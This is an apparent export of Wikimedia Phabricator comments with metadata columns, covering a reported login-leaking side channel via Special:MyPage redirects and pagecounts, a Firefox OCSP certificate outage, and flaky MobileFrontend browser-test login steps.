517326,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,@Bawolff just tested https://en.wikipedia.org/w/index.php?title=Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh redirect to https://en.wikipedia.org/wiki/Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh,,,1440934172,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.285714285714286,0.8571428571428571,SCREEN_NAME just tested URL redirect to URL
515347,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Hmm, that's a cool side channel.

One hacky work around might be to make the redirect url be the $wgScriptPath url ( the index.php?title=... path), which I think doesn't get included in the stats(?)",,,1440625735,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,0.8260869565217391,"Hmm, that's a cool side channel.

One hacky work around might be to make the redirect url be the $wgScriptPath url ( the index.php?title=... path), which I think doesn't get included in the stats(?)"
514981,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@kevinator, is there someone on your team who can start working on this?",,,1440601844,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,7,True,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,4.066666666666666,0.9333333333333333,"SCREEN_NAME, is there someone on your team who can start working on this?"
511734,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"@kevinator, can you assign this to the appropriate person on your team?",,,1440087192,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,14.0,14.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,1.0,"SCREEN_NAME, can you assign this to the appropriate person on your team?"
109712, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,"I'm not able to read any Wikimedia website on Firefox (no problem with Chromium).
Error message : Invalid OCSP signing certificate in OCSP response. (Error code: sec_error_ocsp_invalid_signing_cert). 

WereSpielChequers has raised this bug too, and reported it on wikimania-l.",Unbreak Now!,100.0,1440083077,1440093223.0,PHID-USER-uciss2jl2e4ifxqqk7wk,True,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-fohgoj2vljzdknudmlqa,task_description,resolved,True,c3,3,False,False,True,7,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,10.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.615384615384615,0.8461538461538461,"I'm not able to read any Wikimedia website on Firefox (no problem with Chromium).
Error message : Invalid OCSP signing certificate in OCSP response. (Error code: sec_error_ocsp_invalid_signing_cert). 

WereSpielChequers has raised this bug too, and reported it on wikimania-l."
511836, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,"We should be back to 100% ok on this issue from the user POV.  Mostly-ok was about 15:10 UTC, with some intermittent issues until 16:42.  Incident report here: https://wikitech.wikimedia.org/wiki/Incident_documentation/20150820-OCSP",,,1440093223,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-fohgoj2vljzdknudmlqa,task_subcomment,,True,c3,3,True,,,7,True,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,13.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,8.0,0.0,3.0,13.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5526315789473686,0.9210526315789473,"We should be back to 100% ok on this issue from the user POV.  Mostly-ok was about 15:10 UTC, with some intermittent issues until 16:42.  Incident report here: URL"
511691, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,"I can confirm that I also had this problem with the Firefox security option ""Query OCSP responder servers to confirm the current validity of certificates"" enabled (by default). After about a half hour it stopped happening. It now appears that all is well.",,,1440085489,,PHID-USER-5afgigb2oyaaralisy55,True,,,PHID-TASK-fohgoj2vljzdknudmlqa,task_subcomment,,True,c3,3,False,,,7,True,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,4.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,14.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,14.0,4.0,0.0,4.0,0.0,8.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.26,0.86,"I can confirm that I also had this problem with the Firefox security option ""Query OCSP responder servers to confirm the current validity of certificates"" enabled (by default). After about a half hour it stopped happening. It now appears that all is well."
511659, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,Indeed. Must have fluffed itself up during the past 5 or 10 minutes. Interestingly I disabled OCSP-certificate checks in my browser and still had this issue.,,,1440083751,,PHID-USER-37d2msujvpp2rippbzoq,True,,,PHID-TASK-fohgoj2vljzdknudmlqa,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,10.0,10.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,10.0,10.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.258064516129032,0.9354838709677419,Indeed. Must have fluffed itself up during the past 5 or 10 minutes. Interestingly I disabled OCSP-certificate checks in my browser and still had this issue.
511650, Invalid OCSP signing certificate in OCSP response : can't read Wikimedia websites on Firefox,It works now.,,,1440083315,,PHID-USER-uciss2jl2e4ifxqqk7wk,True,,,PHID-TASK-fohgoj2vljzdknudmlqa,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,It works now.
109593,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Run bundle exec cucumber features/editor_wikitext_nosave.feature  locally
For some reason this test fails locally. It seems the login step doesn't work and then the anonymous editor workflow is unexpectedly entered.",Unbreak Now!,100.0,1439999874,1440496736.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-cjstd4vv3u3gq2sijr7d,False,PHID-TASK-bp3t5r436pseccybjrze,task_description,resolved,True,c3,3,True,False,True,6,True,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.222222222222222,0.9166666666666666,"Run bundle exec cucumber features/editor_wikitext_nosave.feature  locally
For some reason this test fails locally. It seems the login step doesn't work and then the anonymous editor workflow is unexpectedly entered."
514057,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,Closing since it seems to be done. Reopen if it is still an issue.,,,1440496736,,PHID-USER-cjstd4vv3u3gq2sijr7d,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.3125,0.875,Closing since it seems to be done. Reopen if it is still an issue.
513637,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Change 232891 abandoned by Bmansurov:
Work around failing browser tests

Reason:
see jdlrobson's patch

[[https://gerrit.wikimedia.org/r/232891]]",,,1440438310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.153846153846154,0.8076923076923077,"Change 232891 abandoned by Bmansurov:
Work around failing browser tests

Reason:
see jdlrobson's patch

[[GERRIT_URL]]"
512686,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,Increasing timeout on https://gerrit.wikimedia.org/r/232956 seems to work...  and should reduce the flakiness can someone merge?,,,1440200720,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.833333333333333,1.0,Increasing timeout on GERRIT_URL seems to work...  and should reduce the flakiness can someone merge?
512631,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,I'm not seeing any problems right now so let's keep an eye on this and not sign off till we know for sure all is good again,,,1440193905,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,7.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,21.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.3448275862068964,0.9655172413793104,I'm not seeing any problems right now so let's keep an eye on this and not sign off till we know for sure all is good again
512431,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Am not sure what to make of this:
https://integration.wikimedia.org/ci/job/mwext-mw-selenium/464/artifact/log/Page%20diff%3A%20Added%20and%20removed%20content.mp4
https://integration.wikimedia.org/ci/job/mwext-mw-selenium/464/console

The element is clearly visible but it fails to assert that... @dduvall weird hey?",,,1440177077,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,3.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,17.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.566666666666667,0.9,"Am not sure what to make of this:
URL
URL

The element is clearly visible but it fails to assert that...SCREEN_NAME weird hey?"
512424,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,Let's try https://gerrit.wikimedia.org/r/232956,,,1440176451,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Let's try GERRIT_URL
512419,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,So it now seems to be flaking occasionally without @bmansurov's patch. Looking closely at a few failures the video suggests the test should be passing so I think it's just a case of increasing a timeout somewhere...,,,1440176197,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,5.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,5.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,8.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,10.0,0.0,0.0,0.0,4.5,0.85,So it now seems to be flaking occasionally withoutSCREEN_NAME's patch. Looking closely at a few failures the video suggests the test should be passing so I think it's just a case of increasing a timeout somewhere...
512402,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,There are some style comments from @dduvall that you might want to take a look at.,,,1440174405,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,There are some style comments fromSCREEN_NAME that you might want to take a look at.
512146,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Change 232891 had a related patch set uploaded (by Bmansurov):
Work around failing browser tests

[[https://gerrit.wikimedia.org/r/232891]]
",,,1440125601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.0,0.88,"Change 232891 had a related patch set uploaded (by Bmansurov):
Work around failing browser tests

[[GERRIT_URL]]
"
512134,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Looks like these are still flaking.
https://integration.wikimedia.org/ci/job/mwext-mw-selenium/442/console

Can someone drop everything and look at this asap? I suspect what is happening is for whatever reason steps are not waiting until the previous page has finished loading. A few steps such as ""check this completed"" should suffice.

@dduvall ping - this is getting quite serious, so any help your team can give would be much appreciated, we may have to consider turning off the job temporarily and reverting back to Barry.",,,1440121046,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,3.0,2.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,9.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,9.0,4.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,8.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,9.0,1.0,1.0,2.0,0.0,4.0,0.0,2.0,1.0,0.0,8.0,0.0,0.0,0.0,4.195652173913044,0.8369565217391305,"Looks like these are still flaking.
URL

Can someone drop everything and look at this asap? I suspect what is happening is for whatever reason steps are not waiting until the previous page has finished loading. A few steps such as ""check this completed"" should suffice.
SCREEN_NAME ping - this is getting quite serious, so any help your team can give would be much appreciated, we may have to consider turning off the job temporarily and reverting back to Barry."
512127,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"Change 232827 merged by jenkins-bot:
QA: Assert login step has completely successfully before continuing

[[https://gerrit.wikimedia.org/r/232827]]",,,1440120020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,False,,,7,True,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,4.32,0.88,"Change 232827 merged by jenkins-bot:
QA: Assert login step has completely successfully before continuing

[[GERRIT_URL]]"
512117,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,Only possible theory is all our page loads got micro-seconds slower and caused this....,,,1440118953,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-bp3t5r436pseccybjrze,task_subcomment,,True,c3,3,True,,,7,True,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.352941176470588,1.0,Only possible theory is all our page loads got micro-seconds slower and caused this....
512116,Login step failing for certain tests in MobileFrontend browser tests - blocking merges,"For transparency I have no idea why this is happening. If anyone can shed light on this I would be most appreciative. I still suspect something in the jjb job but @dduvall seems pretty certain that's not possible.

4:53 PM <jdlrobson> in reference to ""marxarelli> one of a million moving browser test parts"" (in that they were all passing and now suddenly they are breaking and stopping merges and we don't know why)
4:54 PM <jdlrobson> i assume someone committed something somewhere and it had a knock on effect here...
4:54 PM <•marxarelli> possibly
4:54 PM <jdlrobson> we need qa for our qa heh
4:54 PM <•marxarelli> could have been in mw core, any of the MF dependencies, or in MF itself
4:55 PM <•marxarelli> but it wasn't mw-selenium or the jjb job, i can tell ya that
4:55 PM <•marxarelli> your version of mw-selenium is actually versioned and the dependency is clearly locked :)
4:57 PM <jdlrobson> so any theories on what's happened?
4:57 PM <jdlrobson> did we merge something which didn't run the test job properly and borked everything?
4:57 PM <•marxarelli> fwict, mediawiki doesn't have a dependency system
4:57 PM <jdlrobson> it doesn't
4:57 PM <jdlrobson> i just don't get it.. :-/
4:58 PM → SPF|Cloud joined (uid11755@wikipedia/Southparkfan)
4:58 PM <jdlrobson> ok i think i gotta fix for this login issue
4:59 PM <•marxarelli> i mean, you could try git bisect and running the scenario, just to rule out changes in MF
5:01 PM <jdlrobson> yeh it's just super weird
